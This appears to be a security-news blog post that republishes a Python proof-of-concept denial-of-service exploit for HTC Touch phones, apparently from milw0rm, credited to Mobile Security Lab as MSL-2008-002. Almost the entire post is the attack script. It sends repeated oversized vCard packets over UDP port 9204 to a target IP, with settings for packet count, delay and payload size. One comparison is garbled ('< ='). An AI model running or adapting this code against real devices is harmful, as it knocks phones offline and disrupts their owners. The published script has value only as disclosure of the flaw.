vCard over IP Denial of Service exploit

9:50 am in HTC devices, Latest News, Mobile Security, Windows Mobile by buzz_lightyear

Below is the source code for HTC Touch vCard DoS exploit

#! /usr/bin/env python
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from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter < = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()

# milw0rm.com 2009-03-02

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